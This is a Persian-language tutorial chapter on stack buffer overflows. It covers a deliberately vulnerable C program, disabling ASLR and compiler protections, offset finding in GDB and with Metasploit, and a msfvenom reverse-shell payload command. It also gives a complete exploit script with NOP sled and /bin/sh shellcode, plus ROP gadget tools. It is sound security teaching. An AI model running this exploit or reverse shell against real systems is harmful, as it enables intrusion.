</>

لینوکس‌پارسی

مرجع فارسی آموزش لینوکس

Gentoo • Arch • Debian • Ubuntu • Kali • Parrot
پرش به محتوای اصلی

Command Palette

Search for a command to run...

فصل ۱۰: سرریز بافر

ساختار حافظه (Stack و Heap)، سرریز بافر مبتنی بر پشته، NOP sled و shellcode، مکانیزم‌های محافظت (ASLR، DEP، Stack Canary) و مفهوم ROP chain با مثال عملی کد C آسیب‌پذیر و GDB.

پیشرفته۲۰ دقیقه مطالعهآخرین بروزرسانی: ۸ تیر ۱۴۰۵ویرایش در گیت‌هاب

سرریز بافر چیست؟#

سرریز بافر (Buffer Overflow) زمانی رخ می‌دهد که یک برنامه داده‌ای بیش از ظرفیت بافر تعریف‌شده در حافظه دریافت می‌کند و داده اضافی به فضای حافظه مجاور نشت می‌کند. این نشت می‌تواند ساختارهای کنترلی برنامه را بازنویسی کند و به مهاجم امکان دهد جریان اجرا را به کد دلخواه خود هدایت کند.

سرریز بافر نخستین بار در سال ۱۹۸۸ با کرم Morris به شهرت رسید و با وجود دهه‌ها پیشرفت در مکانیزم‌های دفاعی، همچنان یکی از ریشه‌ای‌ترین کلاس‌های آسیب‌پذیری است. بسیاری از CVEهای بحرانی مانند Heartbleed یا EternalBlue در همین دسته قرار می‌گیرند.

ساختار حافظه یک فرایند#

هر فرایند در اجرا، فضای حافظه مجازی خود را به چند بخش تقسیم می‌کند:

بخشکاربردجهت رشد
Textکد اجرایی برنامهثابت
Dataمتغیرهای سراسری و staticثابت
Heapتخصیص پویا (malloc)به سمت آدرس بالا
Stackفراخوانی توابع و متغیرهای محلیبه سمت آدرس پایین

پشته (Stack) منطقه‌ای است که در آن فراخوانی هر تابع، یک قاب (frame) جدید می‌سازد شامل متغیرهای محلی، پارامترها، آدرس بازگشت (return address) و فریم‌پوینتر. سرریز بافر مبتنی بر پشته با بازنویسی آدرس بازگشت، کنترل را به آدرس دلخواه مهاجم منتقل می‌کند.

سرریز بافر مبتنی بر پشته#

کد آسیب‌پذیر#

// فایل: vuln.c
#include <string.h>
#include <stdio.h>
 
void vulnerable(char *input) {
    char buffer[64];
    strcpy(buffer, input);  // بدون بررسی طول!
    printf("Received: %s\n", buffer);
}
 
int main(int argc, char *argv[]) {
    if (argc < 2) {
        printf("Usage: %s <input>\n", argv[0]);
        return 1;
    }
    vulnerable(argv[1]);
    return 0;
}

تابع strcpy هیچ کنترلی روی طول ورودی ندارد. اگر ورودی بیش از ۶۴ بایت باشد، بافر سرریز کرده و به متغیرهای مجاور، سپس فریم‌پوینتر و در نهایت آدرس بازگشت می‌رسد.

کامپایل با غیرفعال‌سازی محافظت‌ها#

برای تمرین، می‌توانید محافظت‌های مدرن را غیرفعال کنید:

# کامپایل ۳۲ بیتی بدون stack protector و با stack قابل اجرا
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c
 
# بررسی غیرفعال بودن ASLR برای این تست
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

دیباگ با GDB#

# اجرای GDB
gdb ./vuln
 
# ساخت الگو برای تشخیص آفست
(gdb) run AAAAAAAA
 
# مشاهده ثبات‌ها
(gdb) info registers eip
# eip: 0x41414141  (AAAA)
 
# ساخت الگوی یکتا با pattern_create
(gdb) run $(python -c "print('A'*100)")
(gdb) info registers eip

اگر eip با 0x41414141 پر شده باشد (یعنی AAAA)، یعنی آدرس بازگشت بازنویسی شده است.

یافتن آفست دقیق#

ابزار pattern_create و pattern_offset از Metasploit برای یافتن آفست دقیق به‌کار می‌آیند:

# ساخت الگوی ۲۰۰ کاراکتری
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
 
# اجرای برنامه با الگو
./vuln Aa0Aa1Aa2...
 
# مشاهده مقدار EIP پس از کرش (مثلاً 0x63413563)
# یافتن آفست
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 200 -q 63413563
# خروجی: [*] Exact match at offset 76

این یعنی ۷۶ بایت اول بافر را پر می‌کنیم و سپس ۴ بایت بعدی آدرس بازگشت است.

NOP Sled و Shellcode#

NOP Sled#

دستورالعمل NOP (No Operation) با کد ماشین 0x90 هیچ کاری انجام نمی‌دهد جز اینکه به دستور بعدی پرش می‌کند. یک زنجیره از NOPها به نام NOP Sled به مهاجم اجازه می‌دهد حتی اگر آدرس دقیق بافر را نداشته باشد، با پرش به هر نقطه از ناحیه NOP، اجرا به‌طور خودکار به shellcode برسد.

Shellcode#

شل‌کد کد ماشین است که مستقیماً در حافظه اجرا می‌شود و معمولاً یک پوسته (shell) باز می‌کند. یک شل‌کد ساده می‌تواند execve("/bin/sh", NULL, NULL) را فراخوانی کند.

# تولید شل‌کد با msfvenom
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 \
  -b '\x00\x0a\x0d' -f python
 
# -b: کاراکترهای ممنوع (bad chars)
# -f: فرمت خروجی

مونتاژ اکسپلویت#

# فایل: exploit.py
import struct
 
offset = 76
nop_sled = b'\x90' * 32
# آدرس بازگشت به بافر (نیازمند یافتن آدرس دقیق در GDB)
ret_addr = struct.pack('<I', 0xffffd4f0)
shellcode = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'
 
payload = b'A' * offset + ret_addr + nop_sled + shellcode
 
import sys
sys.stdout.buffer.write(payload)

سپس اجرا می‌کنید:

# اجرای اکسپلویت
(python exploit.py; cat) | ./vuln

مکانیزم‌های محافظت مدرن#

مکانیزمکاربردوضعیت در سال ۲۰۲۶
ASLRتصادفی‌سازی آدرس‌های حافظهپیش‌فرض در همه OS
DEP / NXجلوگیری از اجرای کد در پشتهپیش‌فرض در همه OS
Stack Canaryتشخیص سرریز پشتهپیش‌فرض در GCC و MSVC
PIEتصادفی‌سازی کد اجراییپیش‌فرض در اکثر باینری‌ها
RELROجلوگیری از بازنویسی GOTپیش‌فرض در سیستم‌های مدرن
CFIیکپارچگی جریان کنترلدر حال گسترش

ASLR (Address Space Layout Randomization)#

ASLR آدرس‌های پایه پشته، heap و کتابخانه‌ها را در هر بار اجرا تصادفی می‌کند. این کار موجب می‌شود آدرس دقیق shellcode یا تابع بازگشت قابل پیش‌بینی نباشد.

DEP / NX (Data Execution Prevention)#

DEP یا NX بیت مارک‌گذاری صفحات حافظه را به‌عنوان غیرقابل اجرا تعیین می‌کند. حتی اگر مهاجم بتواند کد خود را در پشته بنویسد، نمی‌تواند آن را اجرا کند.

Stack Canary#

کامپایلر یک مقدار تصادفی (canary) بین بافر و آدرس بازگشت قرار می‌دهد. اگر سرریز اتفاق بیفتد، این مقدار تغییر می‌کند و قبل از بازگشت از تابع، برنامه تشخیص می‌دهد و متوقف می‌شود.

دور زدن محافظت‌ها با ROP#

برای دور زدن DEP/NX، از تکنیک ROP (Return-Oriented Programming) استفاده می‌شود. در ROP، مهاجم به‌جای تزریق کد جدید، از قطعات کد موجود در کتابخانه‌ها (به نام gadgets) استفاده می‌کند. هر gadget با دستور ret تمام می‌شود و می‌توان آن‌ها را به هم زنجیر کرد تا منطق دلخواه اجرا شود.

به‌عنوان مثال، برای فراخوانی system("/bin/sh") می‌توان چند gadget را به این شکل زنجیر کرد:

[padding 76 bytes]
[pop eax; ret]      # آدرس gadget
[/bin/sh address]
[system address]

ابزارهایی مانند ROPgadget و ropper برای یافتن gadgets به‌کار می‌آیند:

# یافتن gadgets
ROPgadget --binary ./vuln
ROPgadget --binary /lib/i386-linux-gnu/libc.so.6

اکسپلویت در سال ۲۰۲۶

با ترکیب ASLR، DEP، Stack Canary و PIE، اکسپلویت کلاسیک سرریز بافر به‌سختی روی باینری‌های مدرن ممکن است. اکسپلویت‌نویسی مدرن نیازمند اطلاعات leak برای دور زدن ASLR و ساخت ROP chain برای دور زدن DEP است. اگر به این حوزه علاقه‌مند هستید، دوره‌هایی مانند OSEE و AWE را بررسی کنید.

تمرین عملی — سرریز بافر در VM#

یک ماشین مجازی Ubuntu ۳۲ بیتی راه بیندازید و این مراحل را دنبال کنید:

# ۱. کامپایل کد آسیب‌پذیر
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c
 
# ۲. اجرای عادی
./vuln hello
 
# ۳. تست سرریز
./vuln $(python -c "print('A'*100)")
 
# ۴. دیباگ با GDB
gdb ./vuln
(gdb) run $(python -c "print('A'*100)")
(gdb) info registers eip
 
# ۵. یافتن آفست با pattern
(gdb) run $(/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200)
(gdb) info registers eip
 
# ۶. یافتن آدرس shellcode با env
gdb ./vuln
(gdb) break main
(gdb) run AAAA
(gdb) x/200x $esp

خلاصه و گام بعدی#

در این فصل با ساختار حافظه فرایند، مکانیزم سرریز بافر مبتنی بر پشته، NOP sled و shellcode آشنا شدید. سپس مکانیزم‌های محافظت مدرن (ASLR، DEP، Stack Canary، PIE) و تکنیک دور زدن آن‌ها با ROP را مرور کردید. اکسپلویت‌نویسی یکی از حساس‌ترین و فنی‌ترین حوزه‌های تست نفوذ است و نیازمند درک عمیق از معماری CPU و سیستم‌عامل است.

در فصل بعد، با تحلیل ترافیک شبکه آشنا می‌شوید؛ جایی که با Wireshark و tcpdump، ترافیک مشکوک را تحلیل، اعتبارنامه‌های منتقل‌شده را استخراج و ارتباطات C2 بدافزار را شناسایی می‌کنید.

اشتراک‌گذاری:

این صفحه در تاریخ ۸ تیر ۱۴۰۵ به‌روزرسانی شده است.